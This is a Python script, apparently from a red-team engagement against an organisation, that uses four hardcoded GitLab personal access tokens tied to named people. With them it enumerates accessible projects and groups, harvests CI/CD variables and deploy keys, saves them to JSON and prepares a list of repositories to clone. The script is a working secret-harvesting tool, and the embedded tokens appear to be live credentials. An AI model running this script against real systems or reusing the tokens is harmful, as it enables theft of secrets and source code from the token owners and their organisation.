#!/usr/bin/env python3
"""GitLab enumeration: enumerate all accessible projects, groups, CI/CD vars, deploy keys for each token.
Saves _enumeration.json, _groups.json, _cicd_variables.json, _deploy_keys.json.
"""
import json, time, urllib.request, urllib.error, os, ssl

BASE = "https://gitlab.com/api/v4"
OUTDIR = "/root/ir-assessment/redteam/camelsoft/gitlab_repos"

TOKENS = {
    "git_mohamed": "glpat-sgCEpY3CBBhrAJLFAwcxmG86MQp1OjN2Mm1rCw.01.120ci2qti",
    "token_khabir": "glpat-6UyneVwq4emxXZnpFK7-2G86MQp1Omp4cXZhCw.01.12075cpxn",
    "5b460014_gitlab_token": "glpat-paHb-IMIGMOBkWdimvocHWM6MQpvOjEKdTozdjJtaw8.01.1709yym89",
    "marwen_gitlab_token": "glpat-4QqtQ3LRuYkw8lngMcv4GmM6MQpvOjEKdTo3eTBxZA8.01.170sjfbyb",
}

def api_get(path, token, per_page=100, paginate=True):
    """GET with PRIVATE-TOKEN header; auto-paginate when paginate=True and per_page param supported."""
    results = []
    page = 1
    while True:
        sep = "&" if "?" in path else "?"
        url = f"{BASE}{path}{sep}per_page={per_page}&page={page}"
        req = urllib.request.Request(url, headers={"PRIVATE-TOKEN": token, "User-Agent": "gitlab-enum/1.0"})
        ctx = ssl.create_default_context()
        try:
            with urllib.request.urlopen(req, timeout=40, context=ctx) as resp:
                body = resp.read().decode("utf-8", errors="replace")
                data = json.loads(body) if body.strip() else []
        except urllib.error.HTTPError as e:
            return {"_error": f"HTTP {e.code}", "_path": path, "_body": e.read().decode("utf-8", errors="replace")[:500]}
        except Exception as e:
            return {"_error": str(e), "_path": path}
        if isinstance(data, list):
            results.extend(data)
            if not paginate or len(data) < per_page:
                break
            page += 1
        else:
            # single object
            return data
        if page > 50:  # safety cap
            break
        time.sleep(0.3)
    return results

def main():
    os.makedirs(OUTDIR, exist_ok=True)
    enumeration = {}  # token_name -> {user, projects}
    all_projects = {}  # path_with_namespace -> project info (deduped)
    groups_data = {}
    cicd_data = {}
    deploy_keys_data = {}

    for tname, tok in TOKENS.items():
        print(f"\n=== TOKEN {tname} ===", flush=True)
        # 1. current user
        user = api_get("/api/v4/user" if False else "/user", tok, paginate=False)
        # fix: api_get prepends BASE already includes /api/v4, so path should be relative
        user = api_get("/user", tok, paginate=False)
        print(f"  user: {user.get('username') if isinstance(user, dict) else user}", flush=True)

        # 2. projects (membership=true) - all accessible
        projects = api_get("/projects?membership=true", tok)
        if isinstance(projects, dict) and "_error" in projects:
            print(f"  projects error: {projects['_error']}", flush=True)
            enumeration[tname] = {"user": user, "projects_error": projects, "projects": []}
            continue
        print(f"  projects count: {len(projects)}", flush=True)

        # 3. groups (owned + membership)
        groups = api_get("/groups?owned=false&top_level_only=false", tok)
        # Also get groups via /groups?membership=true
        groups2 = api_get("/groups?min_access_level=0", tok) if isinstance(groups, list) else groups
        if isinstance(groups, list) and isinstance(groups2, list):
            seen = {g["id"] for g in groups}
            for g in groups2:
                if g["id"] not in seen:
                    groups.append(g); seen.add(g["id"])
        print(f"  groups count: {len(groups) if isinstance(groups, list) else groups}", flush=True)

        enumeration[tname] = {
            "user": user if isinstance(user, dict) else {"raw": user},
            "projects": projects if isinstance(projects, list) else [],
            "projects_count": len(projects) if isinstance(projects, list) else 0,
            "groups": groups if isinstance(groups, list) else [],
        }

        # dedup projects by path_with_namespace
        if isinstance(projects, list):
            for p in projects:
                pn = p.get("path_with_namespace")
                if pn and pn not in all_projects:
                    all_projects[pn] = {"project": p, "token": tname}
        if isinstance(groups, list):
            for g in groups:
                gid = g.get("id")
                gkey = f"{tname}:{gid}"
                groups_data[gkey] = g

    # CI/CD variables per project + per group
    print("\n=== Enumerating CI/CD variables & deploy keys ===", flush=True)
    for pn, info in all_projects.items():
        pid = info["project"]["id"]
        tok = TOKENS[info["token"]]
        # project variables
        pvars = api_get(f"/projects/{pid}/variables", tok)
        if isinstance(pvars, list) and pvars:
            cicd_data[f"project:{pn}"] = {"project_id": pid, "token": info["token"], "variables": pvars}
            print(f"  project {pn}: {len(pvars)} CI vars", flush=True)
        # deploy keys
        dkeys = api_get(f"/projects/{pid}/deploy_keys", tok)
        if isinstance(dkeys, list) and dkeys:
            deploy_keys_data[f"project:{pn}"] = {"project_id": pid, "token": info["token"], "deploy_keys": dkeys}
            print(f"  project {pn}: {len(dkeys)} deploy keys", flush=True)
        time.sleep(0.2)

    # group variables
    # collect unique group ids
    unique_groups = {}
    for gkey, g in groups_data.items():
        gid = g.get("id")
        if gid and gid not in unique_groups:
            unique_groups[gid] = g
    for gid, g in unique_groups.items():
        tname = gkey.split(":")[0] if False else None
        # find a token that can access this group - try all
        for tname, tok in TOKENS.items():
            gvars = api_get(f"/groups/{gid}/variables", tok)
            if isinstance(gvars, list) and gvars:
                cicd_data[f"group:{g.get('full_path', gid)}"] = {"group_id": gid, "token": tname, "variables": gvars}
                print(f"  group {g.get('full_path', gid)}: {len(gvars)} CI vars (via {tname})", flush=True)
                break
            elif isinstance(gvars, dict) and gvars.get("_error") != "HTTP 404":
                # try next token
                continue
            time.sleep(0.2)

    # Save outputs
    with open(os.path.join(OUTDIR, "_enumeration.json"), "w") as f:
        json.dump(enumeration, f, indent=2)
    with open(os.path.join(OUTDIR, "_groups.json"), "w") as f:
        json.dump(groups_data, f, indent=2)
    with open(os.path.join(OUTDIR, "_cicd_variables.json"), "w") as f:
        json.dump(cicd_data, f, indent=2)
    with open(os.path.join(OUTDIR, "_deploy_keys.json"), "w") as f:
        json.dump(deploy_keys_data, f, indent=2)

    # also save a deduped project list for the clone step
    proj_list = [{"path_with_namespace": pn, "http_url_to_repo": info["project"].get("http_url_to_repo", f"https://gitlab.com/{pn}.git"),
                  "ssh_url": info["project"].get("ssh_url_to_repo"), "id": info["project"].get("id"),
                  "token_name": info["token"], "default_branch": info["project"].get("default_branch"),
                  "visibility": info["project"].get("visibility"), "last_activity": info["project"].get("last_activity_at")}
                 for pn, info in sorted(all_projects.items())]
    with open(os.path.join(OUTDIR, "_projects_to_clone.json"), "w") as f:
        json.dump(proj_list, f, indent=2)

    print(f"\n=== DONE ===")
    print(f"Total unique projects: {len(all_projects)}")
    print(f"Total groups entries: {len(groups_data)}")
    print(f"CI/CD var sets: {len(cicd_data)}")
    print(f"Deploy key sets: {len(deploy_keys_data)}")
    print(f"Projects saved to _projects_to_clone.json")

if __name__ == "__main__":
    main()
